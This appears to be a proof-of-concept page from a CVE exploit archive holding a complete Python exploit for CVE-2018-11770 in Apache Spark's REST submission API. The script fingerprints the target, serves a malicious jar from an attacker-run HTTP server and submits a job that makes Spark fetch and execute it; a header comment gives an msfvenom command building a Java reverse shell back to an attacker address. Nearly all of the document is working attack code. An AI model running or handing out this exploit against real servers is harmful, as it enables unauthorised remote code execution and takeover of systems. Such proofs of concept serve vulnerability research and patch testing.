4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2018-11770.py PY
#!/usr/bin/python3
#################################################################################################
# Generate payload with msfvenom eg.
# msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f jar -o exploit.jar
#################################################################################################
# How the exploit works.
# 1. HTTP GET target:6066
# 2. Extract serverSparkVersion from JSON response
# 3. Start HTTP server on 8080
# 4. Send CreateSubmissionRequest JSON data, providing URL/port of target server to DL payload from self HTTP server
# 5. Apache Spark will HTTP GET the specified srvhost:srvport. Reply with payload.

import requests
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
from threading import Thread
import sys
import random
import string
import argparse

def randomString(length):
  return (''.join(random.choice(string.ascii_letters) for m in range(length)))

def get_version(URL):
  version = None
  res = requests.get(URL)
  
  if res.status_code == 401:
    print(URL + " - Authentication required.")
    return False
  
  if res.status_code != 400:
    return False
  
  try:
    res_json = json.loads(res.text)
    version = res_json['serverSparkVersion']
  except: # Catches all JSON method exceptions
    print(URL + " - Cannot parse the response, seems like it's not Spark REST API.")
    return False
  
  return version

# Run payload server.
def run_server(server,duration):
  server.timeout = duration
  server.handle_request()
  server.server_close()

def main(httpdelay,rhost,rport,srvhost,srvport,uripath,payload):
  # This code serves whoever requests it the payload below, after waiting for httpdelay seconds
  class PayloadServer(BaseHTTPRequestHandler):
    # Read payload from file
    f = open(payload,'rb')
    jar_payload = f.read()
    
    # Set custom HTTP version
    http_version = 'HTTP/1.1'
    
    #Overwrites "Server: xxx" in HTTP reply.
    def version_string(self):
      return "Apache"
    
    #Silences http.server console logging, by overriding native methods.
    def log_message(self,format,*args):
      pass
    
    def do_GET(self):
      self.protocol_version = self.http_version
      # Basically respond only if supplied path in GET matches uripath
      path = self.path
      if uripath in path:
        print("Sending the payload to the server...")
        self.send_response(200)
        self.send_header("Content-Type","text/html")
        self.send_header("Connection", "Keep-Alive")
        self.send_header("Content-Length",len(self.jar_payload))
        self.end_headers()
        self.wfile.write(self.jar_payload)

  URL = 'http://' + rhost + ':' + str(rport)

  version = get_version(URL)
  if version == False or version == None:
    print("Something went horribly wrong and we couldn't continue to exploit.")
    return 1

  rand_appname = randomString(8 + random.randrange(8))

  server = HTTPServer((srvhost,srvport),PayloadServer)

  # Payload webserver runs in background.
  bg_server = Thread(target=run_server,args=(server,float(httpdelay)))
  bg_server.start()
  print("Started Web server...")

  # HTTP POSTing this CreateSubmissionRequest makes the target request and run the payload.
  data = {
    "action":"CreateSubmissionRequest",
    "clientSparkVersion":version,
    "appArgs":[],
    "appResource":"http://" + srvhost + ":" + str(srvport) + '/' + uripath,
    "environmentVariables":{"SPARK_ENV_LOADED":"1"},
    "mainClass":"metasploit.Payload",
    "sparkProperties":  {
      "spark.jars":"http://" + srvhost + ":" + str(srvport) + '/' + uripath,
      "spark.driver.supervise":"false",
      "spark.app.name":rand_appname,
      "spark.eventLog.enabled":"true",
      "spark.submit.deployMode":"cluster",
      "spark.master":"spark://" + urlparse(URL).netloc
    }
  }

  hdrs = {
    'Content-Type': 'application/json;charset=UTF-8',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
  }

  res = requests.post(URL + '/v1/submissions/create',json=data,headers=hdrs)
  
  return 0

if __name__ == '__main__':
  parser = argparse.ArgumentParser(description="Call the exploit like this: \n ./exploit.py -httpdelay 10 -rhost 192.168.92.153 -rport 6066 -srvhost 192.168.92.134 -srvport 8080 -uripath path -payload exploit.jar", formatter_class=argparse.RawTextHelpFormatter)
  parser._action_groups.pop()
  required = parser.add_argument_group('Required arguments')
  optional = parser.add_argument_group('Optional arguments')
  optional.add_argument('-httpdelay',default=10,help='Number of seconds the web server will wait before termination. Default: 10s')
  required.add_argument('-rhost',help='Target host running Apache Spark eg. 192.168.92.153',required=True)
  optional.add_argument('-rport',default=6066,help='Target port running Apache Spark. Default: 6066')
  required.add_argument('-srvhost',help='The local host to listen on. This must be an address on the local machine that Apache Spark can reach eg 192.168.92.134',required=True)
  optional.add_argument('-srvport',default=8080,help='The local port to listen on. Default: 8080')
  optional.add_argument('-uripath',default='path',help='The URI path for Webserver to serve for this exploit Default: path  as in eg. http://192.168.92.134/path')
  required.add_argument('-payload',help='Path to the malicious jar. eg dir/exploit.jar',required=True)
  args = parser.parse_args()
  sys.exit(main(args.httpdelay,args.rhost,args.rport,args.srvhost,args.srvport,args.uripath,args.payload))